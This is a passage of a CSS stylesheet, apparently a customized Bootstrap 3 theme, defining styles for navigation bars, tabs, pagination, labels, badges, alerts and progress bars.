	margin-right: -1px;
}

.input-group-btn:last-child>.btn {
	margin-left: -1px;
}

.input-group-btn>.btn {
	position: relative;
}

.input-group-btn>.btn+.btn {
	margin-left: -4px;
}

.input-group-btn>.btn:hover,.input-group-btn>.btn:active {
	z-index: 2;
}

.nav {
	padding-left: 0;
	margin-bottom: 0;
	list-style: none;
}

.nav:before,.nav:after {
	display: table;
	content: " ";
}

.nav:after {
	clear: both;
}

.nav:before,.nav:after {
	display: table;
	content: " ";
}

.nav:after {
	clear: both;
}

.nav>li {
	position: relative;
	display: block;
}

.nav>li>a {
	position: relative;
	display: block;
	padding: 10px 15px;
}

.nav>li>a:hover,.nav>li>a:focus {
	text-decoration: none;
	background-color: #eeeeee;
}

.nav>li.disabled>a {
	color: #999999;
}

.nav>li.disabled>a:hover,.nav>li.disabled>a:focus {
	color: #999999;
	text-decoration: none;
	cursor: not-allowed;
	background-color: transparent;
}

.nav .open>a,.nav .open>a:hover,.nav .open>a:focus {
	background-color: #eeeeee;
	border-color: #428bca;
}

.nav .nav-divider {
	height: 1px;
	margin: 9px 0;
	overflow: hidden;
	background-color: #e5e5e5;
}

.nav>li>a>img {
	max-width: none;
}

.nav-tabs {
	border-bottom: 1px solid #dddddd;
}

.nav-tabs>li {
	float: left;
	margin-bottom: -1px;
}

.nav-tabs>li>a {
	height: 46px;
	border-left: #FFF solid 1px;
	font-size: 16px;
	background: #e6e7e8;
	color: #323641;
	font-weight: bold;
	padding: 9px 30px 10px 30px;
	border-top: #e6e7e8 solid 4px;
}

.nav-tabs>li:first-child>a {
	border-left: none;
}

.nav-tabs>li>a:hover {
	background-color: #ffffff;
	border-top: #54acc0 solid 4px;
	border-bottom-color: transparent;
}

.nav-tabs>li.active>a,.nav-tabs>li.active>a:hover,.nav-tabs>li.active>a:focus
	{
	cursor: default;
	background-color: #ffffff;
	border-top: #54acc0 solid 4px;
	border-bottom-color: transparent;
}

.nav-tabs.nav-justified {
	width: 100%;
	border-bottom: 0;
}

.nav-tabs.nav-justified>li {
	float: none;
}

.nav-tabs.nav-justified>li>a {
	margin-bottom: 5px;
	text-align: center;
}

.nav-tabs.nav-justified>.dropdown .dropdown-menu {
	top: auto;
	left: auto;
}

@media ( min-width : 768px) {
	.nav-tabs.nav-justified>li {
		display: table-cell;
		width: 1%;
	}
	.nav-tabs.nav-justified>li>a {
		margin-bottom: 0;
	}
}

.nav-tabs.nav-justified>li>a {
	margin-right: 0;
	border-radius: 4px;
}

.nav-tabs.nav-justified>.active>a,.nav-tabs.nav-justified>.active>a:hover,.nav-tabs.nav-justified>.active>a:focus
	{
	border: 1px solid #dddddd;
}

@media ( min-width : 768px) {
	.nav-tabs.nav-justified>li>a {
		border-bottom: 1px solid #dddddd;
		border-radius: 4px 4px 0 0;
	}
	.nav-tabs.nav-justified>.active>a,.nav-tabs.nav-justified>.active>a:hover,.nav-tabs.nav-justified>.active>a:focus
		{
		border-bottom-color: #ffffff;
	}
}

.nav-pills>li {
	float: left;
}

.nav-pills>li>a {
	border-radius: 4px;
}

.nav-pills>li+li {
	margin-left: 2px;
}

.nav-pills>li.active>a,.nav-pills>li.active>a:hover,.nav-pills>li.active>a:focus
	{
	color: #ffffff;
	background-color: #428bca;
}

.nav-stacked>li {
	float: none;
}

.nav-stacked>li+li {
	margin-top: 2px;
	margin-left: 0;
}

.nav-justified {
	width: 100%;
}

.nav-justified>li {
	float: none;
}

.nav-justified>li>a {
	margin-bottom: 5px;
	text-align: center;
}

.nav-justified>.dropdown .dropdown-menu {
	top: auto;
	left: auto;
}

@media ( min-width : 768px) {
	.nav-justified>li {
		display: table-cell;
		width: 1%;
	}
	.nav-justified>li>a {
		margin-bottom: 0;
	}
}

.nav-tabs-justified {
	border-bottom: 0;
}

.nav-tabs-justified>li>a {
	margin-right: 0;
	border-radius: 4px;
}

.nav-tabs-justified>.active>a,.nav-tabs-justified>.active>a:hover,.nav-tabs-justified>.active>a:focus
	{
	border: 1px solid #dddddd;
}

@media ( min-width : 768px) {
	.nav-tabs-justified>li>a {
		border-bottom: 1px solid #dddddd;
		border-radius: 4px 4px 0 0;
	}
	.nav-tabs-justified>.active>a,.nav-tabs-justified>.active>a:hover,.nav-tabs-justified>.active>a:focus
		{
		border-bottom-color: #ffffff;
	}
}

.tab-content>.tab-pane {
	display: none;
}

.tab-content>.active {
	display: block;
}

.nav-tabs .dropdown-menu {
	margin-top: -1px;
	border-top-right-radius: 0;
	border-top-left-radius: 0;
}

.navbar {
	position: relative;
	min-height: 50px;
	margin-bottom: 20px;
	border: 1px solid transparent;
}

.navbar:before,.navbar:after {
	display: table;
	content: " ";
}

.navbar:after {
	clear: both;
}

.navbar:before,.navbar:after {
	display: table;
	content: " ";
}

.navbar:after {
	clear: both;
}

@media ( min-width : 768px) {
	.navbar {
		border-radius: 4px;
	}
}

.navbar-header:before,.navbar-header:after {
	display: table;
	content: " ";
}

.navbar-header:after {
	clear: both;
}

.navbar-header:before,.navbar-header:after {
	display: table;
	content: " ";
}

.navbar-header:after {
	clear: both;
}

@media ( min-width : 768px) {
	.navbar-header {
		float: left;
	}
}

.navbar-collapse {
	max-height: 340px;
	padding-right: 15px;
	padding-left: 15px;
	overflow-x: visible;
	border-top: 1px solid transparent;
	box-shadow: inset 0 1px 0 rgba(255, 255, 255, 0.1);
	-webkit-overflow-scrolling: touch;
}

.navbar-collapse:before,.navbar-collapse:after {
	display: table;
	content: " ";
}

.navbar-collapse:after {
	clear: both;
}

.navbar-collapse:before,.navbar-collapse:after {
	display: table;
	content: " ";
}

.navbar-collapse:after {
	clear: both;
}

.navbar-collapse.in {
	overflow-y: auto;
}

@media ( min-width : 768px) {
	.navbar-collapse {
		width: auto;
		border-top: 0;
		box-shadow: none;
	}
	.navbar-collapse.collapse {
		display: block !important;
		height: auto !important;
		padding-bottom: 0;
		overflow: visible !important;
	}
	.navbar-collapse.in {
		overflow-y: visible;
	}
	.navbar-fixed-top .navbar-collapse,.navbar-static-top .navbar-collapse,.navbar-fixed-bottom .navbar-collapse
		{
		padding-right: 0;
		padding-left: 0;
	}
}

.container>.navbar-header,.container>.navbar-collapse {
	margin-right: -15px;
	margin-left: -15px;
}

@media ( min-width : 768px) {
	.container>.navbar-header,.container>.navbar-collapse {
		margin-right: 0;
		margin-left: 0;
	}
}

.navbar-static-top {
	z-index: 1000;
	border-width: 0 0 1px;
}

@media ( min-width : 768px) {
	.navbar-static-top {
		border-radius: 0;
	}
}

.navbar-fixed-top,.navbar-fixed-bottom {
	position: fixed;
	right: 0;
	left: 0;
	z-index: 1030;
}

@media ( min-width : 768px) {
	.navbar-fixed-top,.navbar-fixed-bottom {
		border-radius: 0;
	}
}

.navbar-fixed-top {
	top: 0;
	border-width: 0 0 1px;
}

.navbar-fixed-bottom {
	bottom: 0;
	margin-bottom: 0;
	border-width: 1px 0 0;
}

.navbar-brand {
	float: left;
	padding: 15px 15px;
	font-size: 18px;
	line-height: 20px;
}

.navbar-brand:hover,.navbar-brand:focus {
	text-decoration: none;
}

@media ( min-width : 768px) {
	.navbar>.container .navbar-brand {
		margin-left: -15px;
	}
}

.navbar-toggle {
	position: relative;
	float: right;
	padding: 9px 10px;
	margin-top: 8px;
	margin-right: 15px;
	margin-bottom: 8px;
	background-color: transparent;
	background-image: none;
	border: 1px solid transparent;
	border-radius: 4px;
}

.navbar-toggle .icon-bar {
	display: block;
	width: 22px;
	height: 2px;
	border-radius: 1px;
}

.navbar-toggle .icon-bar+.icon-bar {
	margin-top: 4px;
}

@media ( min-width : 768px) {
	.navbar-toggle {
		display: none;
	}
}

.navbar-nav {
	margin: 7.5px -15px;
}

.navbar-nav>li>a {
	padding-top: 10px;
	padding-bottom: 10px;
	line-height: 20px;
}

@media ( max-width : 767px) {
	.navbar-nav .open .dropdown-menu {
		position: static;
		float: none;
		width: auto;
		margin-top: 0;
		background-color: transparent;
		border: 0;
		box-shadow: none;
	}
	.navbar-nav .open .dropdown-menu>li>a,.navbar-nav .open .dropdown-menu .dropdown-header
		{
		padding: 5px 15px 5px 25px;
	}
	.navbar-nav .open .dropdown-menu>li>a {
		line-height: 20px;
	}
	.navbar-nav .open .dropdown-menu>li>a:hover,.navbar-nav .open .dropdown-menu>li>a:focus
		{
		background-image: none;
	}
}

@media ( min-width : 768px) {
	.navbar-nav {
		float: left;
		margin: 0;
	}
	.navbar-nav>li {
		float: left;
	}
	.navbar-nav>li>a {
		padding-top: 15px;
		padding-bottom: 15px;
	}
	.navbar-nav.navbar-right:last-child {
		margin-right: -15px;
	}
}

@media ( min-width : 768px) {
	.navbar-left {
		float: left !important;
	}
	.navbar-right {
		float: right !important;
	}
}

.navbar-form {
	padding: 10px 15px;
	margin-top: 8px;
	margin-right: -15px;
	margin-bottom: 8px;
	margin-left: -15px;
	border-top: 1px solid transparent;
	border-bottom: 1px solid transparent;
	-webkit-box-shadow: inset 0 1px 0 rgba(255, 255, 255, 0.1), 0 1px 0
		rgba(255, 255, 255, 0.1);
	box-shadow: inset 0 1px 0 rgba(255, 255, 255, 0.1), 0 1px 0
		rgba(255, 255, 255, 0.1);
}

@media ( min-width : 768px) {
	.navbar-form .form-group {
		display: inline-block;
		margin-bottom: 0;
		vertical-align: middle;
	}
	.navbar-form .form-control {
		display: inline-block;
	}
	.navbar-form select.form-control {
		width: auto;
	}
	.navbar-form .radio,.navbar-form .checkbox {
		display: inline-block;
		padding-left: 0;
		margin-top: 0;
		margin-bottom: 0;
	}
	.navbar-form .radio input[type="radio"],.navbar-form .checkbox input[type="checkbox"]
		{
		float: none;
		margin-left: 0;
	}
}

@media ( max-width : 767px) {
	.navbar-form .form-group {
		margin-bottom: 5px;
	}
}

@media ( min-width : 768px) {
	.navbar-form {
		width: auto;
		padding-top: 0;
		padding-bottom: 0;
		margin-right: 0;
		margin-left: 0;
		border: 0;
		-webkit-box-shadow: none;
		box-shadow: none;
	}
	.navbar-form.navbar-right:last-child {
		margin-right: -15px;
	}
}

.navbar-nav>li>.dropdown-menu {
	margin-top: 0;
	border-top-right-radius: 0;
	border-top-left-radius: 0;
}

.navbar-fixed-bottom .navbar-nav>li>.dropdown-menu {
	border-bottom-right-radius: 0;
	border-bottom-left-radius: 0;
}

.navbar-nav.pull-right>li>.dropdown-menu,.navbar-nav>li>.dropdown-menu.pull-right
	{
	right: 0;
	left: auto;
}

.navbar-btn {
	margin-top: 8px;
	margin-bottom: 8px;
}

.navbar-btn.btn-sm {
	margin-top: 10px;
	margin-bottom: 10px;
}

.navbar-btn.btn-xs {
	margin-top: 14px;
	margin-bottom: 14px;
}

.navbar-text {
	margin-top: 15px;
	margin-bottom: 15px;
}

@media ( min-width : 768px) {
	.navbar-text {
		float: left;
		margin-right: 15px;
		margin-left: 15px;
	}
	.navbar-text.navbar-right:last-child {
		margin-right: 0;
	}
}

.navbar-default {
	color: #6d6f75;
	background: #fdfdfd; /* Old browsers */
	background: -moz-linear-gradient(top, #fdfdfd 0%, #f7f7f7 100%);
	/* FF3.6+ */
	background: -webkit-gradient(linear, left top, left bottom, color-stop(0%, #fdfdfd),
		color-stop(100%, #f7f7f7) ); /* Chrome,Safari4+ */
	background: -webkit-linear-gradient(top, #fdfdfd 0%, #f7f7f7 100%);
	/* Chrome10+,Safari5.1+ */
	background: -o-linear-gradient(top, #fdfdfd 0%, #f7f7f7 100%);
	/* Opera 11.10+ */
	background: -ms-linear-gradient(top, #fdfdfd 0%, #f7f7f7 100%);
	/* IE10+ */
	background: linear-gradient(to bottom, #fdfdfd 0%, #f7f7f7 100%);
	/* W3C */
	filter: progid : DXImageTransform.Microsoft.gradient (   startColorstr =
		'#fdfdfd', endColorstr = '#f7f7f7', GradientType = 0 ); /* IE6-9 */
	border-color: #e4e4e4;
	box-shadow: 0 1px 2px #E7EBEC;
}

.navbar-default .navbar-brand {
	color: #777777;
}

.navbar-default .navbar-brand:hover,.navbar-default .navbar-brand:focus
	{
	color: #5e5e5e;
	background-color: transparent;
}

.navbar-default .navbar-text {
	color: #777777;
}

.navbar-default .navbar-nav>li>a {
	color: #777777;
}

.navbar-default .navbar-nav>li>a:hover,.navbar-default .navbar-nav>li>a:focus
	{
	color: #333333;
	background-color: transparent;
}

.navbar-default .navbar-nav>.active>a,.navbar-default .navbar-nav>.active>a:hover,.navbar-default .navbar-nav>.active>a:focus
	{
	color: #555555;
	background-color: #e7e7e7;
}

.navbar-default .navbar-nav>.disabled>a,.navbar-default .navbar-nav>.disabled>a:hover,.navbar-default .navbar-nav>.disabled>a:focus
	{
	color: #cccccc;
	background-color: transparent;
}

.navbar-default .navbar-toggle {
	border-color: #dddddd;
}

.navbar-default .navbar-toggle:hover,.navbar-default .navbar-toggle:focus
	{
	background-color: #dddddd;
}

.navbar-default .navbar-toggle .icon-bar {
	background-color: #cccccc;
}

.navbar-default .navbar-collapse,.navbar-default .navbar-form {
	border-color: #e7e7e7;
}

.navbar-default .navbar-nav>.open>a,.navbar-default .navbar-nav>.open>a:hover,.navbar-default .navbar-nav>.open>a:focus
	{
	color: #555555;
	background-color: #e7e7e7;
}

@media ( max-width : 767px) {
	.navbar-default .navbar-nav .open .dropdown-menu>li>a {
		color: #777777;
	}
	.navbar-default .navbar-nav .open .dropdown-menu>li>a:hover,.navbar-default .navbar-nav .open .dropdown-menu>li>a:focus
		{
		color: #333333;
		background-color: transparent;
	}
	.navbar-default .navbar-nav .open .dropdown-menu>.active>a,.navbar-default .navbar-nav .open .dropdown-menu>.active>a:hover,.navbar-default .navbar-nav .open .dropdown-menu>.active>a:focus
		{
		color: #555555;
		background-color: #e7e7e7;
	}
	.navbar-default .navbar-nav .open .dropdown-menu>.disabled>a,.navbar-default .navbar-nav .open .dropdown-menu>.disabled>a:hover,.navbar-default .navbar-nav .open .dropdown-menu>.disabled>a:focus
		{
		color: #cccccc;
		background-color: transparent;
	}
}

.navbar-default .navbar-link {
	color: #777777;
}

.navbar-default .navbar-link:hover {
	color: #333333;
}

.navbar-inverse {
	background-color: #666981;
	border-color: #e4e4e4;
}

.navbar-inverse .navbar-brand {
	color: #fff;
}

.navbar-inverse .navbar-brand:hover,.navbar-inverse .navbar-brand:focus
	{
	color: #ffffff;
	background-color: transparent;
}

.navbar-inverse .navbar-text {
	color: #fff;
}

.navbar-inverse .navbar-nav>li>a {
	color: #fff;
}

.navbar-inverse .navbar-nav>li>a:hover,.navbar-inverse .navbar-nav>li>a:focus
	{
	color: #ffffff;
	background-color: transparent;
}

.navbar-inverse .navbar-nav>.active>a,.navbar-inverse .navbar-nav>.active>a:hover,.navbar-inverse .navbar-nav>.active>a:focus
	{
	color: #ffffff;
	background-color: #080808;
}

.navbar-inverse .navbar-nav>.disabled>a,.navbar-inverse .navbar-nav>.disabled>a:hover,.navbar-inverse .navbar-nav>.disabled>a:focus
	{
	color: #444444;
	background-color: transparent;
}

.navbar-inverse .navbar-toggle {
	border-color: #333333;
}

.navbar-inverse .navbar-toggle:hover,.navbar-inverse .navbar-toggle:focus
	{
	background-color: #333333;
}

.navbar-inverse .navbar-toggle .icon-bar {
	background-color: #ffffff;
}

.navbar-inverse .navbar-collapse,.navbar-inverse .navbar-form {
	border-color: #101010;
}

.navbar-inverse .navbar-nav>.open>a,.navbar-inverse .navbar-nav>.open>a:hover,.navbar-inverse .navbar-nav>.open>a:focus
	{
	color: #ffffff;
	background-color: #080808;
}

@media ( max-width : 767px) {
	.navbar-inverse .navbar-nav .open .dropdown-menu>.dropdown-header {
		border-color: #080808;
	}
	.navbar-inverse .navbar-nav .open .dropdown-menu .divider {
		background-color: #080808;
	}
	.navbar-inverse .navbar-nav .open .dropdown-menu>li>a {
		color: #999999;
	}
	.navbar-inverse .navbar-nav .open .dropdown-menu>li>a:hover,.navbar-inverse .navbar-nav .open .dropdown-menu>li>a:focus
		{
		color: #ffffff;
		background-color: transparent;
	}
	.navbar-inverse .navbar-nav .open .dropdown-menu>.active>a,.navbar-inverse .navbar-nav .open .dropdown-menu>.active>a:hover,.navbar-inverse .navbar-nav .open .dropdown-menu>.active>a:focus
		{
		color: #ffffff;
		background-color: #080808;
	}
	.navbar-inverse .navbar-nav .open .dropdown-menu>.disabled>a,.navbar-inverse .navbar-nav .open .dropdown-menu>.disabled>a:hover,.navbar-inverse .navbar-nav .open .dropdown-menu>.disabled>a:focus
		{
		color: #444444;
		background-color: transparent;
	}
}

.navbar-inverse .navbar-link {
	color: #999999;
}

.navbar-inverse .navbar-link:hover {
	color: #ffffff;
}

.breadcrumb {
	padding: 8px 15px;
	margin-bottom: 20px;
	list-style: none;
	color: #6d6f75;
	background: #fdfdfd; /* Old browsers */
	background: -moz-linear-gradient(top, #fdfdfd 0%, #f7f7f7 100%);
	/* FF3.6+ */
	background: -webkit-gradient(linear, left top, left bottom, color-stop(0%, #fdfdfd),
		color-stop(100%, #f7f7f7) ); /* Chrome,Safari4+ */
	background: -webkit-linear-gradient(top, #fdfdfd 0%, #f7f7f7 100%);
	/* Chrome10+,Safari5.1+ */
	background: -o-linear-gradient(top, #fdfdfd 0%, #f7f7f7 100%);
	/* Opera 11.10+ */
	background: -ms-linear-gradient(top, #fdfdfd 0%, #f7f7f7 100%);
	/* IE10+ */
	background: linear-gradient(to bottom, #fdfdfd 0%, #f7f7f7 100%);
	/* W3C */
	filter: progid : DXImageTransform.Microsoft.gradient (   startColorstr =
		'#fdfdfd', endColorstr = '#f7f7f7', GradientType = 0 ); /* IE6-9 */
	border: 1px solid #e4e4e4;
	box-shadow: 0 1px 2px #E7EBEC;
	border-radius: 4px;
}

.breadcrumb>li {
	display: inline-block;
}

.breadcrumb>li+li:before {
	padding: 0 5px;
	color: #cccccc;
	content: "/\00a0";
}

.breadcrumb>.active {
	color: #6d6f75;
}

.pagination {
	display: inline-block;
	padding-left: 0;
	margin: 20px 0;
	border-radius: 4px;
	color: #6d6f75;
	background: #fdfdfd; /* Old browsers */
	background: -moz-linear-gradient(top, #fdfdfd 0%, #f7f7f7 100%);
	/* FF3.6+ */
	background: -webkit-gradient(linear, left top, left bottom, color-stop(0%, #fdfdfd),
		color-stop(100%, #f7f7f7) ); /* Chrome,Safari4+ */
	background: -webkit-linear-gradient(top, #fdfdfd 0%, #f7f7f7 100%);
	/* Chrome10+,Safari5.1+ */
	background: -o-linear-gradient(top, #fdfdfd 0%, #f7f7f7 100%);
	/* Opera 11.10+ */
	background: -ms-linear-gradient(top, #fdfdfd 0%, #f7f7f7 100%);
	/* IE10+ */
	background: linear-gradient(to bottom, #fdfdfd 0%, #f7f7f7 100%);
	/* W3C */
	filter: progid : DXImageTransform.Microsoft.gradient (   startColorstr =
		'#fdfdfd', endColorstr = '#f7f7f7', GradientType = 0 ); /* IE6-9 */
	box-shadow: 0 1px 2px #E7EBEC;
}

.pagination>li {
	display: inline;
}

.pagination>li>a,.pagination>li>span {
	position: relative;
	float: left;
	color: #6d6f75;
	padding: 6px 12px;
	margin-left: -1px;
	line-height: 1.428571429;
	text-decoration: none;
	border: 1px solid #dddddd;
}

.pagination>li:first-child>a,.pagination>li:first-child>span {
	margin-left: 0;
	border-bottom-left-radius: 4px;
	border-top-left-radius: 4px;
}

.pagination>li:last-child>a,.pagination>li:last-child>span {
	border-top-right-radius: 4px;
	border-bottom-right-radius: 4px;
}

.pagination>li>a:hover,.pagination>li>span:hover,.pagination>li>a:focus,.pagination>li>span:focus
	{
	background-color: #eeeeee;
}

.pagination>.active>a,.pagination>.active>span,.pagination>.active>a:hover,.pagination>.active>span:hover,.pagination>.active>a:focus,.pagination>.active>span:focus
	{
	z-index: 2;
	color: #ffffff;
	cursor: default;
	background-color: #428bca;
	border-color: #428bca;
}

.pagination>.disabled>span,.pagination>.disabled>span:hover,.pagination>.disabled>span:focus,.pagination>.disabled>a,.pagination>.disabled>a:hover,.pagination>.disabled>a:focus
	{
	color: #999999;
	cursor: not-allowed;
	background-color: #ffffff;
	border-color: #dddddd;
}

.pagination-lg>li>a,.pagination-lg>li>span {
	padding: 10px 16px;
	font-size: 18px;
}

.pagination-lg>li:first-child>a,.pagination-lg>li:first-child>span {
	border-bottom-left-radius: 6px;
	border-top-left-radius: 6px;
}

.pagination-lg>li:last-child>a,.pagination-lg>li:last-child>span {
	border-top-right-radius: 6px;
	border-bottom-right-radius: 6px;
}

.pagination-sm>li>a,.pagination-sm>li>span {
	padding: 5px 10px;
	font-size: 12px;
}

.pagination-sm>li:first-child>a,.pagination-sm>li:first-child>span {
	border-bottom-left-radius: 3px;
	border-top-left-radius: 3px;
}

.pagination-sm>li:last-child>a,.pagination-sm>li:last-child>span {
	border-top-right-radius: 3px;
	border-bottom-right-radius: 3px;
}

.pager {
	padding-left: 0;
	margin: 20px 0;
	text-align: center;
	list-style: none;
}

.pager:before,.pager:after {
	display: table;
	content: " ";
}

.pager:after {
	clear: both;
}

.pager:before,.pager:after {
	display: table;
	content: " ";
}

.pager:after {
	clear: both;
}

.pager li {
	display: inline;
}

.pager li>a,.pager li>span {
	display: inline-block;
	padding: 5px 14px;
	border: 1px solid #e4e4e4;
	border-radius: 15px;
	color: #6d6f75;
	background: #fdfdfd; /* Old browsers */
	background: -moz-linear-gradient(top, #fdfdfd 0%, #f7f7f7 100%);
	/* FF3.6+ */
	background: -webkit-gradient(linear, left top, left bottom, color-stop(0%, #fdfdfd),
		color-stop(100%, #f7f7f7) ); /* Chrome,Safari4+ */
	background: -webkit-linear-gradient(top, #fdfdfd 0%, #f7f7f7 100%);
	/* Chrome10+,Safari5.1+ */
	background: -o-linear-gradient(top, #fdfdfd 0%, #f7f7f7 100%);
	/* Opera 11.10+ */
	background: -ms-linear-gradient(top, #fdfdfd 0%, #f7f7f7 100%);
	/* IE10+ */
	background: linear-gradient(to bottom, #fdfdfd 0%, #f7f7f7 100%);
	/* W3C */
	filter: progid : DXImageTransform.Microsoft.gradient (   startColorstr =
		'#fdfdfd', endColorstr = '#f7f7f7', GradientType = 0 ); /* IE6-9 */
	box-shadow: 0 1px 2px #E7EBEC;
}

.pager li>a:hover,.pager li>a:focus {
	text-decoration: none;
	background-color: #eeeeee;
}

.pager .next>a,.pager .next>span {
	float: right;
}

.pager .previous>a,.pager .previous>span {
	float: left;
}

.pager .disabled>a,.pager .disabled>a:hover,.pager .disabled>a:focus,.pager .disabled>span
	{
	color: #999999;
	cursor: not-allowed;
	background-color: #ffffff;
}

.label {
	display: inline;
	padding: .2em .6em .3em;
	font-size: 13px;
	line-height: 1;
	color: #ffffff;
	text-align: center;
	white-space: nowrap;
	vertical-align: baseline;
	border-radius: .90em;
}

.label[href]:hover,.label[href]:focus {
	color: #ffffff;
	text-decoration: none;
	cursor: pointer;
}

.label:empty {
	display: none;
}

.btn .label {
	position: relative;
	top: -1px;
}

.label-custom1 {
	background-color: #e9535e;
}

.label-default {
	background-color: #999999;
}

.label-default[href]:hover,.label-default[href]:focus {
	background-color: #808080;
}

.label-primary {
	background-color: #428bca;
}

.label-primary[href]:hover,.label-primary[href]:focus {
	background-color: #3071a9;
}

.label-success {
	background-color: #5cb85c;
}

.label-success[href]:hover,.label-success[href]:focus {
	background-color: #449d44;
}

.label-info {
	background-color: #5bc0de;
}

.label-info[href]:hover,.label-info[href]:focus {
	background-color: #31b0d5;
}

.label-warning {
	background-color: #f0ad4e;
}

.label-warning[href]:hover,.label-warning[href]:focus {
	background-color: #ec971f;
}

.label-danger {
	background-color: #d9534f;
}

.label-danger[href]:hover,.label-danger[href]:focus {
	background-color: #c9302c;
}

.badge {
	display: inline-block;
	min-width: 10px;
	padding: 3px 7px;
	font-size: 12px;
	font-weight: bold;
	line-height: 1;
	color: #ffffff;
	text-align: center;
	white-space: nowrap;
	vertical-align: baseline;
	background-color: #999999;
	border-radius: 10px;
}

.badge:empty {
	display: none;
}

.btn .badge {
	position: relative;
	top: -1px;
}

a.badge:hover,a.badge:focus {
	color: #ffffff;
	text-decoration: none;
	cursor: pointer;
}

a.list-group-item.active>.badge,.nav-pills>.active>a>.badge {
	color: #428bca;
	background-color: #ffffff;
}

.nav-pills>li>a>.badge {
	margin-left: 3px;
}

.jumbotron {
	padding: 30px;
	margin-bottom: 30px;
	font-size: 21px;
	font-weight: 200;
	line-height: 2.1428571435;
	color: inherit;
	background-color: #eeeeee;
}

.jumbotron h1,.jumbotron .h1 {
	line-height: 1;
	color: inherit;
}

.jumbotron p {
	line-height: 1.4;
}

.container .jumbotron {
	border-radius: 6px;
}

.jumbotron .container {
	max-width: 100%;
}

@media screen and (min-width: 768px) {
	.jumbotron {
		padding-top: 48px;
		padding-bottom: 48px;
	}
	.container .jumbotron {
		padding-right: 60px;
		padding-left: 60px;
	}
	.jumbotron h1,.jumbotron .h1 {
		font-size: 63px;
	}
}

.thumbnail {
	display: block;
	margin-bottom: 20px;
	background-color: #33363f;
	border: 1px solid #dddddd;
	-webkit-transition: all 0.2s ease-in-out;
	transition: all 0.2s ease-in-out;
	overflow: hidden;
}

.thumbnail>img,.thumbnail a>img {
	display: block;
	height: auto;
	max-width: 100%;
	margin-right: auto;
	margin-left: auto;
}

.thumbnail:hover>img,.thumbnail a:hover>img {
	margin-top: -74px;
}

.thumbnail .caption {
	padding: 9px;
	color: #333333;
}

.alert {
	padding: 8px 20px 9px 40px;
	margin-bottom: 10px;
	border-radius: 4px;
	position: relative;
}

.alert h4 {
	margin-top: 0;
	color: inherit;
}

.alert .alert-link {
	font-weight: bold;
}

.alert>p,.alert>ul {
	margin-bottom: 0;
}

.alert>p+p {
	margin-top: 5px;
}

.alert-dismissable {
	padding-right: 35px;
}

.alert-dismissable .close {
	position: relative;
	top: -2px;
	right: -21px;
	color: inherit;
}

.alert-success {
	color: #fff;
	background-color: #07ba42;
}

.alert-success:before {
	content: "";
	width: 16px;
	height: 12px;
	left: 14px;
	top: 12px;
	position: absolute;
	display: inline-block;
	background: url(../images/sprite.png) no-repeat -79px -171px;
}

.alert-success hr {
	border-top-color: #fff;
}

.alert-success .alert-link {
	color: #fff;
}

.alert-info {
	color: #fff;
	background-color: #51b2e9;
}

.alert-info:before {
	content: "";
	width: 6px;
	height: 14px;
	left: 14px;
	top: 12px;
	position: absolute;
	display: inline-block;
	background: url(../images/sprite.png) no-repeat -105px -171px;
}

.alert-info hr {
	border-top-color: #fff;
}

.alert-info .alert-link {
	color: #fff;
}

.alert-warning {
	color: #fff;
	background-color: #ffcc00;
}

.alert-warning:before {
	content: "";
	width: 17px;
	height: 15px;
	left: 14px;
	top: 10px;
	position: absolute;
	display: inline-block;
	background: url(../images/sprite.png) no-repeat -119px -168px;
}

.alert-warning hr {
	border-top-color: #fff;
}

.alert-warning .alert-link {
	color: #fff;
}

.alert-danger {
	color: #fff;
	background-color: #e65b45;
}

.alert-danger:before {
	content: "";
	width: 11px;
	height: 12px;
	left: 14px;
	top: 12px;
	position: absolute;
	display: inline-block;
	background: url(../images/sprite.png) no-repeat -62px -171px;
}

.alert-danger hr {
	border-top-color: #fff;
}

.alert-danger .alert-link {
	color: #fff;
}

@
-webkit-keyframes progress-bar-stripes {from { background-position:40px0;
	
}

to {
	background-position: 0 0;
}

}
@
keyframes progress-bar-stripes {from { background-position:40px0;
	
}

to {
	background-position: 0 0;
}

}
.progress {
	height: 20px;
	margin-bottom: 20px;
	overflow: hidden;
	background-color: #f5f5f5;
	border-radius: 4px;
	-webkit-box-shadow: inset 0 1px 2px rgba(0, 0, 0, 0.1);
	box-shadow: inset 0 1px 2px rgba(0, 0, 0, 0.1);
}

.progress-bar {
	float: left;
	width: 0;
	height: 100%;
	font-size: 12px;
	line-height: 20px;
	color: #ffffff;
	text-align: center;
	background-color: #428bca;
	-webkit-box-shadow: inset 0 -1px 0 rgba(0, 0, 0, 0.15);
	box-shadow: inset 0 -1px 0 rgba(0, 0, 0, 0.15);
	-webkit-transition: width 0.6s ease;
	transition: width 0.6s ease;
}

.progress-striped .progress-bar {
	background-image: -webkit-linear-gradient(45deg, rgba(255, 255, 255, 0.15)
		25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%,
		rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent );
	background-image: linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%,
		transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%,
		rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent );
	background-size: 40px 40px;
}

.progress.active .progress-bar {
	-webkit-animation: progress-bar-stripes 2s linear infinite;
	animation: progress-bar-stripes 2s linear infinite;
}

.progress-bar-success {
	background-color: #5cb85c;
}

.progress-striped .progress-bar-success {
	background-image: -webkit-linear-gradient(45deg, rgba(255, 255, 255, 0.15)
		25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%,
		rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent );
	background-image: linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%,
		transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%,
		rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent );
}

.progress-bar-info {
	background-color: #5bc0de;
}

.progress-striped .progress-bar-info {
	background-image: -webkit-linear-gradient(45deg, rgba(255, 255, 255, 0.15)
		25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%,
		rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent );
	background-image: linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%,
		transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%,
		rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent );
}

.progress-bar-warning {
	background-color: #f0ad4e;
}

.progress-striped .progress-bar-warning {
	background-image: -webkit-linear-gradient(45deg, rgba(255, 255, 255, 0.15)
		25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%,
